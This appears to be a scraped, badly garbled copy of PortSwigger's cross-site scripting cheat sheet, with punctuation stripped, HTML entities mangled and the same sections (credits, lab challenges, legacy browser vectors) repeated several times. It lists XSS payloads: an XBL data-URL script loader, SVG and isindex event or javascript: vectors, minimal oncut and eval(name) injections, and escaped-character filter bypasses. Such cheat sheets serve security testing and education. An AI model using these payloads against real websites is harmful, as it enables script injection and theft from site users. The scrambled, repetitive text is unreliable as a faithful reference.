XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
XSS into a JavaScript string string concatenation(globalThis)
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
XSS into a JavaScript string hex escape sequence
and base64 encoded string (globalThis) (globalThis[x61x74x6fx62](WFNT)))
XSS into a JavaScript string octal escape sequence(window)
window[141154145162164](130123123)
XSS into a JavaScript string octal escape sequence(self)
self[141154145162164](130123123)
XSS into a JavaScript string octal escape sequence(this)
this[141154145162164](130123123)
XSS into a JavaScript string octal escape sequence(top)
top[141154145162164](130123123)
XSS into a JavaScript string octal escape sequence(parent)
parent[141154145162164](130123123)
XSS into a JavaScript string octal escape sequence(frames)
frames[141154145162164](130123123)
XSS into a JavaScript string octal escape sequence(globalThis)
globalThis[141154145162164](130123123)
XSS into a JavaScript string unicode escape(window)
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
XSS into a JavaScript string HieroglyphyJSFuck(window)
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
y
ltscriptgt function documentbodyinnerHTML() x = ltimg src=1 onerror=alert(1)gt ltscriptgt ltbodygt
GreyMagic HTML+time exploit (no longer workseven in 5 docmode)
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
